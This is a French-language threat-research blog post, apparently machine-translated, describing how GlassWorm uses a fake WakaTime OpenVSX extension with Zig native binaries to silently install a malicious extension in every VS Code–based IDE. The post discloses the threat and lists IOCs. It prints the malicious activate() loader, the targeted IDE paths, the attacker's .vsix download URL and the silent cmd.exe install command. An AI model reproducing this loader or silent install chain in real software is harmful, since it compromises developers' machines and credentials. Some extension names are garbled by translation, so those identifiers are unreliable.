Aikido

GlassWorm s'intègre en profondeur : un nouveau dropper Zig infecte tous les IDE de votre ordinateur

Écrit par
Ilyas Makari

Nous suivons GlassWorm depuis plus d’un an. Ce groupe a fait son apparition en mars 2025, lorsque Aikido des paquets npm malveillants dissimulant des charges utiles à l’intérieur de caractères Unicode invisibles. Depuis lors, la campagne n'a cessé de prendre de l'ampleur, compromettant des centaines de projets sur GitHub, npm et VS Code, et diffusant tout récemment un RAT persistant via une fausse extension Chrome qui enregistrait les frappes au clavier et récupérait les cookies de session. Le groupe ne cesse d'évoluer, et vient de franchir une étape importante.

Nous avons observé cette nouvelle technique dans une extension OpenVSX appelée « code-wakatime-activity-tracker ». L'extension se fait passer pour WakaTime, l'outil populaire de suivi du temps de travail des développeurs, et fournit un binaire natif compilé avec Zig en plus de son code JavaScript. Ce n'est pas la première fois que GlassWorm a recours à du code natif compilé dans ses extensions. Cependant, plutôt que d'utiliser directement le binaire comme charge utile, celui-ci sert de moyen de diffusion furtif pour le dropper GlassWorm connu, qui infecte désormais secrètement tous les autres IDE qu'il peut trouver sur votre système.

Le dropper : une extension infectée par un cheval de Troie

L'extension code-wakatime-suivi-d'activité, publiée sur OpenVSX, est à première vue presque identique à l'extension WakaTime authentique : mêmes commandes enregistrées, mêmes demandes de clé API, mêmes icônes dans la barre d'état. La différence réside en un seul point : le activate() fonction.

const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();

Avant l'exécution de toute logique WakaTime, l'extension charge un binaire natif à partir du ./bin/ répertoire fourni avec l'extension et appelle immédiatement installer(). Sous Windows, cela correspond à win.node, une DLL PE32+. Sous macOS, il s'agit de mac.node, un Mach-O universel prenant en charge à la fois les architectures x86_64 et arm64. Il s'agit d'extensions natives de Node.js : des bibliothèques partagées compilées qui se chargent directement dans l'environnement d'exécution de Node et s'exécutent en dehors du bac à sable JavaScript avec un accès complet au niveau du système d'exploitation. Les deux sont écrites en Zig. Le binaire macOS a été compilé en conservant les symboles de débogage, ce qui révèle un chemin d'accès au projet /Utilisateurs/davidioasd/Téléchargements/vsx_installer_zig.

Infecter tous les IDE de la machine

Une fois chargé, le programme binaire commence par rechercher tous les environnements de développement intégré (IDE) installés sur la machine qui prennent en charge le format d'extension VS Code. Il installe ensuite discrètement une extension malveillante dans chacun d'entre eux.

Windows (à partir de win.node):

%LOCALAPPDATA%\Programs\Microsoft VS Code\bin\code.cmd
%LOCALAPPDATA%\Programs\Microsoft VS Code Insiders\bin\code-insiders.cmd
%LOCALAPPDATA%\Programs\cursor\resources\app\bin\cursor.cmd
%LOCALAPPDATA%\Programs\windsurf\resources\app\bin\windsurf.cmd
%LOCALAPPDATA%\Programs\VSCodium\resources\app\bin\codium.cmd
%LOCALAPPDATA%\Programs\Positron\resources\app\bin\positron.cmd
%ProgramFiles%\Microsoft VS Code\bin\code.cmd
%ProgramFiles%\Positron\resources\app\bin\positron.cmd

macOS (à partir de mac.node) :

/Applications/Visual Studio Code.app/Contents/Resources/app/bin/code
/Applications/Visual Studio Code - Insiders.app/.../code-insiders
/Applications/Cursor.app/Contents/Resources/app/bin/cursor
/Applications/Windsurf.app/Contents/Resources/app/bin/windsurf
/Applications/VSCodium.app/Contents/Resources/app/bin/codium
/Applications/Positron.app/Contents/Resources/app/bin/positron

Cette attaque ne concerne pas uniquement VS Code : elle touche l'ensemble de l'écosystème des éditeurs qui utilisent le même système d'extensions : VS Code, VS Code Insiders, Cursor, Windsurf, VSCodium et Positron. Un développeur utilisant Cursor comme éditeur principal, mais ayant également installé VS Code, verrait ses deux éditeurs compromis.


Une fois la liste IDE générée, le binaire récupère un fichier malveillant .vsix à partir d'une page GitHub Releases contrôlée par le pirate :

https://github.com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix

Le paquet se fait passer pour steoates.autoimport, une extension VS Code légitime et très populaire qui compte des millions d'installations. Le fichier téléchargé .vsix est enregistré dans un répertoire temporaire, puis installé en arrière-plan dans chaque IDE détecté à l'étape précédente à l'aide du programme d'installation en ligne de commande propre à chaque éditeur. Sous Windows, cette opération s'effectue via cmd.exe:

cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"

Une fois l'installation terminée, nettoyageVsix supprime le fichier téléchargé pour effacer toute trace.

L'extension de deuxième phase

Le fichier .vsix installé de force correspond au même dropper GlassWorm que nous avons suivi et analysé en détail. Il délimite géographiquement les systèmes russes, envoie des signaux vers un serveur de commande et de contrôle (C2) basé sur la blockchain Solana, et, comme nous l'avons constaté lors de notre précédente analyse, il procède à l'exfiltration secrète de données et installe un RAT persistant, comprenant notamment une extension Chrome malveillante.

Comment Aikido cela

Si vous avez installé specstudio/code-wakatime-suivi-d'activité ou voir floktokbok.autoimport Si l'un de vos listes d'extensions IDE contient cette entrée, considérez que votre machine a été compromise et changez tous les identifiants confidentiels auxquels on aurait pu accéder.

Si vous Aikido , consultez votre flux central et filtrez les problèmes liés aux logiciels malveillants. Cela apparaîtra comme un problème critique de niveau 100/100. Aikido chaque nuit, mais nous vous recommandons de lancer une analyse manuelle dès maintenant.

Si vous n'êtes pas encore Aikido , vous pouvez créer un compte et connecter vos dépôts. Notre protection contre les logiciels malveillants est incluse dans la formule gratuite, sans carte de crédit.

Pour une protection plus complète de l'ensemble de votre équipe, la solution Endpoint Protection Aikido vous offre une visibilité et un contrôle sur les logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins IDE et les dépendances de compilation, le tout en un seul endroit. Bloquez les logiciels malveillants avant même qu'ils ne s'installent.

Pour vous protéger à l'avenir, pensez à Aikido Chain (open source). Safe Chain s'intègre à votre flux de travail actuel : il intercepte les commandes npm, npx, yarn, pnpm et pnpx et vérifie la conformité des paquets par rapport Aikido avant leur installation.

IOCs

Extensions‍

  • specstudio/code-wakatime-suivi-d'activité (extension OpenVSX infectée par un cheval de Troie)
  • autoimport-2.7.9 (intégration de deuxième étape dans les IDE)

Fichiers

  • win.node dans le répertoire ./bin/ de n'importe quelle extension VS Code
    • SHA-256 : 2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02
  • mac.node dans le répertoire ./bin/ de n'importe quelle extension VS Code
    • SHA-256 : 112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44

Réseau

  • https://github[.]com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix

Cordes

  • vsx_installer_zig (Nom du projet Zig trouvé dans le fichier binaire macOS)
  • davidioasd (Nom d'utilisateur trouvé dans le fichier binaire macOS)
Partager :

https://www.aikido.dev/blog/glassworm-zig-dropper-infects-every-ide-on-your-machine

Abonnez-vous pour les actualités sur les menaces.

Démarrez gratuitement dès aujourd'hui.

Commencer gratuitement
Sans carte bancaire
4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests
Scannez vos dépôts pour les attaques GlassWorm

Approuvé par 100 000 équipes

Démarrer gratuitement

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.